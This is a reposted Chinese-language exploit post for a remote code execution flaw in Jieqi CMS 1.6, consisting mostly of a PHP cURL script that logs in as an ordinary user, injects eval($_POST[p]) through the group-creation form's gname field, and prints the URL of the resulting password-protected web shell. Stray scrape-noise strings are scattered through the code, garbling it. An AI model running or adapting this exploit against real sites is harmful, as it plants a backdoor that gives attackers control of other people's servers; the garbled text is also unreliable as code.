Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
$ H* E* L: F7 C  z! @3 D) W 需要有一个能创建圈子的用户。

<?php

print_r('
- x% s! B/ \2 v, t" }( x+---------------------------------------------------------------------------+
2 \2 L- z, t5 I* t- wJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
# V8 }, |/ C/ t0 M1 K( Jmail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
9 P( d9 p9 Y8 d, o*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
) n4 o( U8 W( e$ ]* y/ j0 nUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
, @4 g+ @9 d5 P' u. e* Dpath:      path to jieqicms
uasename:  a username who can create group
5 T$ A! K* a. O; q8 xExample:
: C& p0 z, \, ?; x5 v6 aphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- P' ]1 T7 A2 C5 ?- D. o, u+---------------------------------------------------------------------------+
7 c8 _& h2 A  }  R'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
( \- H) F" b1 \7 j, u& Z% Y" FContent-Disposition: form-data; name="gname"
" v& b6 h2 j; ^. o- j& G  A
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

+ J" u) [8 n4 C( a1
-----------------------------23281168279961
# j# U6 v6 e. P: k" n6 e1 ?# p% H& GContent-Disposition: form-data; name="gbrief"
& h! ^5 Z4 @. g1 x
1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
/ R4 N$ E. Y9 g/ a5 M
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;